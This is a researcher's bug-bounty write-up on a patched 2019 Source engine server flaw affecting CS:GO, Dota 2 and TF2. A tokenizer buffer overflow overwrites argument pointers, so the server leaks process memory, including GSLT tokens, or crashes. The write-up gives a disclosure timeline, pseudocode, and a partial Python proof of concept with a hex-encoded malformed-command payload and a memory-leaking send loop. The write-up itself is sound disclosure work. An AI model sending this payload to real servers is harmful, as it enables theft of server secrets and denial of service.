CS:GO Bug Bounty

csgo in game console leaking a GSLT token

For many years CS:GO, Dota 2, and Team Fortress 2 servers had a bug that allowed malicious users to leak crucial server process memory or reliably crash any server.

In 2019, a fellow researcher and I conducted this research by digging into the Valve dedicated server with a fuzzer, elbow grease, and plenty of reverse-engineering.

May 15th, 2019 - Write-up and proof of concept submitted to Valve.
May 20th, 2019 - POC verified.
Sept. 4th, 2019 - Valve awarded $7,500 bounty
“because of the potential business impact of memory disclosure of official game servers.”
Dec. 2019 - Valve patched the vulnerability.
August 2021 - Valve notified us they fixed the issue in 2019. After following up with hackerone for 2 years.

csgo in game console leaking a GSLT token

I’m not sure the server should be sending that information to us in our CS-GO console…

We used AFL to fuzz the counter strike server, srcds.exe. Next, we found some likely places to hook in the server and landed on the function ExecuteStringCommand() in engine.dll. ExecuteStringCommand() is the function responsible for taking user console input and executing it on the server to do things like:

/say hello all
/sayteam hello team
sv_cheats 1

The server takes the input from the user, tokenizes it (e.g. “/say hello all” becomes { “/say”, “hello”, “all” }).

Suppose a user sends a malicious string to the server. In that case, the server will leak back process memory, which contains sensitive GSLT server tokens and anything else in the process memory, or crash. The server passes a pointer to sprintf("Unknown command: %s", ...) that we control.

The bug has likely been present in all of these games for many, many years.


Technical Details (CVSS 8.2)

Overview

Entering an unknown command into the in-game console, passes it to the server which will find and run the command. The server will tokenize the command string, with the first token treated as the command name and subsequent tokens as arguments. Each token is copied into a string buffer, null-terminated, and a corresponding pointer to the token will be copied into a second buffer just below.

If the server can’t find a matching command, it lets the client know by returning a message with the format “Unknown command: %s” and the command name as the argument.

Because the buffer containing the null-terminated tokens and the buffer containing the pointers are adjacent, overflowing the first buffer allows overwriting the pointers in the second buffer with user-control data. When the first token pointer is later used as an argument to sprintf(), the server memory contents at that address will be returned to the client, or an invalid pointer can be supplied, crashing the server.

Tested On

Impact

Details

When a server receives a client’s string command, it gets passed into ExecuteStringCommand() for processing, which calls CCommand::Tokenize() to extract the command name and arguments. During this process the command name and arguments are tokenized and copied to m_pArgvBuffer and a null-terminator is placed at the end of the token. A pointer to each token is then placed in m_ppArgv. We believe the cause of the exploit is not properly accounting for the length of null-terminators, or possibly special characters, during tokenization. This allows m_pArgvBuffer to be overflowed.

After tokenization, the server will attempt to find and run the command. However, if no matching command is found, the name of the command, which is held in m_ppArgv[0], is passed to a sprintf-like function and returned to the client. This results in the following:

Pseudocode

class CCommand
{
    ...
    char   m_pArgvBuffer[512];    // Holds null-terminated tokens. This is the buffer we overflow.
    char*  m_ppArgv[64];          // Holds pointers to each token. Victim buffer.
    ...
}

CGameClient::ExecuteStringCommand(char* pCommand)
{
    CCommand cmd;

    // After this call m_pArgVBuffer has overflowed into m_ppArgv.
    cmd::Tokenize(pCommand, 3, 0);

    ...

    // This is sent back to the client. If the pointer has been overwritten
    // data at that address will be leaked.
    UTIL_VarArgs("Unknown command: %s\n", cmd.m_ppArgv[0])
}

Reproduction

  1. Pass a malformed command to ExecuteStringCommand().

Notes:

Partial Memory Disclosure POC

...

# Returns data with a header prepended
def make_chat_packet(cmd_data):

    cmdlen = bitpack(len(cmd_data))
    packetlen = bitpack(len(cmdlen) + len(cmd_data) + 1)

    # <cmd> <packetlen> 0A <cmdlen> <cmd>
    packet = bytearray()
    packet.append(0x05)
    packet += packetlen
    packet.append(0x0A)
    packet += cmdlen
    packet += cmd_data

    return packet

cmd_data =  "\x73\x61\x79\x20\x22\x80\x80\x80\x80\x80\x80\x80\x6f\x72\x77\x7e\x22\x6c\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x72\x6c\x90\x20\x77\x6f\x0b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x36\x35\x35\x50\x7f\x33\x35\x35\x2b\x2b\x2b\x1d\x2b\x36\x35\x06\x35\x35\x35\x35\x58\x35\x33\x35\x35\x35\x35\x35\x35\x35\x34\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x2c\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x37\x35\xff\xff\xff\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x37\x35\x3f\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x37\x35\x3f\x35\x3b\xff\xff\xff\x7f\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x47\x35\x3f\x35\x35\x35\x35\x35\x35\x37\x35\xff\xff\xff\x35\x35\x35\x35\x35\x64\x37\x35\x23\x35\x35\x35\x49\x6f\x20\x3c\x35\x35\x1f\x53\x2b\x35\x2b\x2b\x35\x35\x35\x35\x35\x35\x2c\x35\x35\x35\x35\x35\x35\x35\x35\x37\x35\x3f\x35\x35\x35\x35\x35\x4a\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x01\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x77\x6f\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x36\x35\x33\x35\x35\x2b\x2b\x2b\x2b\x2b\x36\x35\x12\x35\x35\x35\x35\x58\x35\x33\x35\x35\x35\x35\x35\x26\x35\x35\x72\x35\x35\x35\x35\x35\x37\x35\xff\xff\xff\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x37\x35\x3f\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x37\x35\x3f\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x3f\x35\x35\x35\x35\x35\x35\x37\x35\xff\xff\xff\x35\x35\x35\x35\x35\x35\x37\x35\x23\x35\x35\x35\x49\x6f\x20\x3c\x3f\x35\x1f\x53\x6c\x6c\x6c\x6c\x6c\x35\x35\x35\x35\x35\x2c\x35\x35\x35\x35\x35\x35\x35\x35\x37\x35\x3f\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x35\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x35\x35\x2c\x31\x2b\x2b\x2b\x2b\x2b\x2b\x35\x35\x22\x21\x05\x2c\x05"

packet = make_chat_packet(cmd_data)

# Address to read from
addr = 0x124DB120
end = addr + 0x100
step = 8

while addr + step < end:
    # Check we can get this address
    valid = check_ptr(addr)
    if valid:
        print(f'Leaking server memory at {hex(addr)}')
        addr_bytes = pack('i', int(addr))
        packet[-4:] = addr_bytes
        # Exploit
        send_packet(packet)
        time.sleep(0.15)
    else:
        print(f'Skipping {hex(addr)}')
    addr += step